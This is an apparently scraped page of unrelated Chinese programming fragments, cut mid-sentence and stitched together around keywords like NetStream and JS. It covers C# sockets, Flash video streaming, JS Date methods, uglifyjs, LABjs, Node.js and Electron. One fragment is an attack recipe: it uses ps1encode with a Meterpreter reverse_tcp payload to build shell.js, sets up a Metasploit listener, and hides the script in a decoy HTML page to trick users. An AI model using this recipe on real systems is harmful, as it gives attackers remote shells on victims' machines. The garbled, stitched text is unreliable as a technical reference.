public class DataReadWrite { public TcpClient client; public NetworkStream netStream...= client.GetStream(); DataRead dr = new DataRead(netStream, client.ReceiveBufferSize);//...client.ReceiveBufferSize接收缓冲区的大小 netStream.BeginRead(dr.msg, 0, dr.msg.Length, new AsyncCallback..., client.ReceiveBufferSize);//此处有些不妥,可参照服务端的做法 netStream.BeginRead(dr.msg, 0, dr.msg.Length...(bytesdata, 0, bytesdata.Length, new AsyncCallback(sendCallBack), netStream); netStream.Flush
第 1 节: 1-ASP.Net课前说明 1、网站目录一般不建在桌面上,有时候可能会涉及 权限的问题; 2、逻辑代码分两块运行的,一部分运行在服务器端,一部分运行在浏览器端中; 3、使用托控件,不能很好地梳理浏览器和服务器代码的优化...5、ASP.net Webform不会在项目中重度的使用。...选择Network选项; 2、临时停车牌子,清除信息(清楚信息,只是清除了,浏览器请求的历史记录); 3、状态码:301重定向; 4、先加载Html标签,如果有js,css,图片,就最后加载; 5、选中一个请求的页面...服务器的ip,端口号;http端口默认80; 3)NetworkStreame也是继承Stream类,只是它的构造函数,接收socket这个对象; 4)Stream实现了Idisposebeabe接口,使用...等, 5、服务器把index.shtml的内容返回给浏览器, 6、浏览器解析HTML内容绘制页面, 7、遇到img则浏览器再次发出Socket请求获得图片内容,然后绘制图片, 8、遇到css、js
企业客户可以使用这些信息计算部门费用或分配成本,以便有效利用资源。...l 用户监控和分析:通过NetStream技术可以使网络管理者轻松获取用户使用网络和应用资源的详细情况,进而用于高效地规划以及分配网络资源,并保障网络的安全运行。...NetStream简介 NetStream流定义 NetStream是一项基于“流”来提供报文统计的技术。...NetStream流 NetStream是一项基于“流”来提供报文统计的技术,NetStream流就是IP报文(UDP、TCP、ICMP报文)。...Processor Information 用于统计设备CPU占用率,内存使用情况。
用到了上一篇(Flash/Flex学习笔记(35):自己动手实现一个滑块控件(JimmySilder))里自己写的的滑块控件,主要代码如下(关键是NetConnection与NetStream对象的使用...=new NetStream(_netConn); _netStream.bufferTime = 5; wVideo.attachNetStream(_netStream); _netStream.play...= MetaDataHandler; _netStream.client=_client; //注册监听事件 _netStream.addEventListener(NetStatusEvent.NET_STATUS..._netStream.pause(); } //Stop按钮点击事件 function btnStopMouseClick(e:MouseEvent) { _netStream.pause();...= _netStream.bytesLoaded / _netStream.bytesTotal; } //trace(_netStream.bytesLoaded + "/" + _netStream.bytesTotal
vertexAttr); gl.vertexAttribPointer(vertexAttr, 2, gl.FLOAT, false, 0, 0); return true; }; webkit html渲染使用...webkit,v8是chrome的js脚本引擎,webgl包含在webkit中
string strDateLine=DateTime.Now.ToShortDateString()+" "+DateTime.Now.ToLongTimeString();//得到发送时客户端时间 netStream...=tcpClient.GetStream();//得到网络流 sw=new StreamWriter(netStream);//创建TextWriter,向流中写字符 string words...待发送的话 string content=strDateLine+words;//待发送内容 sw.Write(content);//写入流 sw.Close();//关闭流写入器 netStream.Close...(true)//进入无限循环等待用户端连接 { try { tcpClient=serverListener.AcceptTcpClient();//创建客户端连接对象 netStream...=tcpClient.GetStream();//得到网络流 sr=new StreamReader(netStream);//流读写器 } catch(Exception re)
FFmpeg的推流器(以推送RTMP为例) 接收 最简单的基于librtmp的示例:接收(RTMP保存为FLV) 最简单的基于FFMPEG+SDL的视频播放器 ver2 (采用SDL2.0) 简介 相比于使用...C/C++处理RTMP而言,使用ActionScript处理RTMP非常的简单。...但是使用ActionScript处理RTMP的劣势也十分明显——可供自己开发的地方很少。由于Flash本身不开源,所以我们无法得到它的底层代码,因而也不能对编解码底层的参数进行调整。...和NetStream。...Communication University of China / Digital TV Technology * http://blog.csdn.net/leixiaohua1020 * * 本程序使用
js Date 使用详解 var myDate = new Date(); myDate.getYear(); //获取当前年份(2位) myDate.getFullYear(); //获取完整的年份...var mytime=myDate.toLocaleTimeString(); //获取当前时间 myDate.toLocaleString( ); //获取日期与时间 京东商城里面的到计时用的就是js...getYear() 请使用 getFullYear() 方法代替。 getHours() 返回 Date 对象的小时 (0 ~ 23)。...setYear() 请使用 setFullYear() 方法代替。 setHours() 设置 Date 对象中的小时 (0 ~ 23)。...toGMTString() 请使用 toUTCString() 方法代替。 toUTCString() 根据世界时,把 Date 对象转换为字符串。
使用 NetStream 通过该连接发送媒体流和数据 调用 NetConnection.connect() 会执行下列操作: • 传递“null”会从本地文件系统或 Web 服务器播放视频和...可使用 NetServices 类通过 NetConnection 对象调用应用程序服务器函数,并返回结果。有关详细信息,请参阅 Flash Remoting 文档。...NetStream 类通过 NetConnection 打开了一个单向流通道。...• 调用 NetStream.play(),从本地磁盘、Web 服务器或 Flash Media Server 播放媒体文件。...• 调用 NetStream.appendBytes(),将 ByteArray 数据传入 NetStream。
在做的web项目上线时,我们需要对js文件进行压缩,以减小文件的体积,加快加载速度,提高响应时间。下面我来介绍一个js压缩工具:uglifyjs。...这里npm也可以替换为cnpm 使用 安装完成了,接下来就是使用了。...最简单的使用方式: uglifyjs main.js -o main-min.js -c 下面是一些压缩时常用的参数 一些常用的参数列表 -o,--output 指定输出文件,默认情况下为命令行...--comments 用来控制注释的代码的 如果压缩的时候想要保留版权信息,可以如下使用: uglifyjs main.js --comments -m -o main-min.js 当然,...然后双击就可以批量使用uglifyjs压缩JS文件啦! 注意:uglifyjs不支持ES6
使用实例:http://www.au92.com/archives/labjs.html 解释说明:http://miyuki.42code.com/2012/03/jsload-labjs-requirejs...loadScript() 加载 js 的方法。根据具体浏览器情况,以及是否同域,这个方法会调用上面提到的三种方式之一来加载 js,或者预加载 js ,或者将预加载完成的 js 最终加载到页面中。...默认状态下,queueExec 为 false,表示直接加载指定的 js,当使用了 wait() 方法后,queueExec 在新生成的 engine 里的值为 true,表示这个 engine 中的...js 先预加载。...预加载 js 时,loadScript() 会立即执行以便预加载指定 js,同时同样的 loadScript() 也会被 push 一份到当前 engine 对象的 exec 数组中,并在当前 engine
_lblResult.text = "您不允许使用摄像头!"; } else if (e.code == "Camera.Unmuted") { this...." || e.info.code == "NetStream.Play.Failed" || e.info.code == "NetStream.Publish.BadName") { this..." || e.info.code == "NetStream.Play.Failed") { } else if (e.info.code=="NetStream.Play.Start..._nsPlay = new NetStream(this._ncPlay); this...._lblResult.text = "设备无法使用(有可能被占用)"; _timer.removeEventListener(TimerEvent.TIMER, checkCamera);
使用 NetStream 通过该连接发送媒体流和数据 调用 NetConnection.connect() 会执行下列操作: ?...可使用 NetServices 类通过 NetConnection 对象调用应用程序服务器函数,并返回结果。有关详细信息,请参阅 Flash Remoting 文档。 ?...NetStream 类通过 NetConnection 打开了一个单向流通道。 ?...调用 NetStream.play(),从本地磁盘、Web 服务器或 Flash Media Server 播放媒体文件。 ?...调用 NetStream.appendBytes(),将 ByteArray 数据传入 NetStream。
测试时写了一个Demo程序做服务端的,结果发现Demo程序不知道什么时候自己删完了,再从实际项目中截出来写个服务端比较麻烦,并且现在网上也不少Socket的测试工具,所以这里就偷个懒,不写服务端的东西了,直接使用...Connect连接和Send发送比较简单,稍微了解一下就可以直接使用了,就算是大数据包,发送也会自动分成多个包发送过去。...NetworkStream BeginRead来处理异步接收的,参数倒数第二个TcpDataRecvived的方法就是我们写的回调函数,最后一个传入的TransData,就是前面我们说定义这个可以在回调函数中使用传入的参数...SocketTcp _instance; //TCPClient private TcpClient _tcpClient; private NetworkStream _netStream...(sendBytes, 0, sendBytes.Length); _netStream.Flush(); } }
创建一个NetStream对象,它的作用是通过netconnection对象提供的连接,打开FLASH player 与服务器的单向流连接 3....flash.events.AsyncErrorEvent; import flash.media.Video; import flash.net.NetConnection; import flash.net.NetStream...public function myvideo() { var nc:NetConnection = new NetConnection(); nc.connect(null); var ns:NetStream...= new NetStream(nc); ns.addEventListener(AsyncErrorEvent.ASYNC_ERROR,asyncErrorHandle); ns.play("1...= new NetStream(nc); ns.addEventListener(AsyncErrorEvent.ASYNC_ERROR,asyncErrorHandle); ns.client
1.处理js文件,注意格式,一定要export,否则获取到的为null 2.在Vue中引入js import allinfo from “../../../...../static/js/allinfo .js”; 3.使用js中的数据 var data= allinfo.属性名称; 版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。
ps1encode.rb --LHOST 192.168.67.128 --LPORT 4444 --PAYLOAD windows/meterpreter/reverse_tcp --ENCODE cmd -t js...>> shell.js ?...3、使用Msf进行本地监听 ? 4、创建隐蔽的html文件以及图片文件进行迷惑用户,在html文件中引用恶意的JS文件: ?... SimpleTest </
Video; var intervalId:uint; var intelvalTimes:uint=0; var isWorked=false; var nc:NetConnection; var ns:NetStream...vod.x = 45; vod.y = 15; addChild(vod); } else { if (intelvalTimes>=10) {//持续检测2秒,仍然无图象的话,认为"设备无法使用...(占用中)" lblMsg.text="设备无法使用(有可能被占用)"; clearInterval(intervalId); } } } //用户选择"同意"或"不允许"使用摄像头时触发...(nc); ns.attachCamera(cam); } } Client.fla关键代码: var nc:NetConnection; var ns:NetStream; var vod:Video...ns=new NetStream(nc); ns.addEventListener(NetStatusEvent.NET_STATUS,nsNetStatusHandler); ns.play(
在本文中,我们将详细讨论 Node.js 的特点、使用方法以及一些实际应用的代码示例。...Node.js 简介 Node.js 具有以下特点: 单线程:Node.js 使用单线程模型,避免了多线程编程的复杂性。...异步非阻塞 I/O:Node.js 使用事件驱动的编程模型,能够处理大量并发连接。 跨平台:Node.js 支持 Windows、Linux 和 macOS 等主要操作系统。...安装 Node.js 前往 Node.js 官网下载适用于您操作系统的安装包。按照安装向导进行安装后,您可以使用 node 命令来运行 JavaScript 文件,使用 npm 命令来管理依赖包。...使用 NPM 管理依赖 Node.js 使用 NPM(Node Package Manager)进行依赖管理。
Javascript在web开发中已经稳稳的占据了重要位置,现在已经开始渗透到桌面开发了 Electron 便是用来创建桌面应用的框架 使用 JavaScript + HTML + CSS 就可以开发跨平台的桌面应用...看下这些知名应用就知道了 GitHub 的文本编辑器 Atom 聊天群组应用独角兽公司 Slack 使用 Electron 搭建了桌面客户端 微软发布的代码编辑器 Visual Studio Code...,使用 Electron 构建 JavaScript 语言发明人 Brendan Eich 的公司使用 Electron 开发了一套全新的网页浏览器 Brave Browser 上手尝试 下面写一个hello...{ "name": "deskjs", "version": "0.1.0", "main": "main.js" } 格式和 Node 的完全一致,main 字段是应用的启动脚本 index.html... Hello World 第一个 JS 桌面应用</
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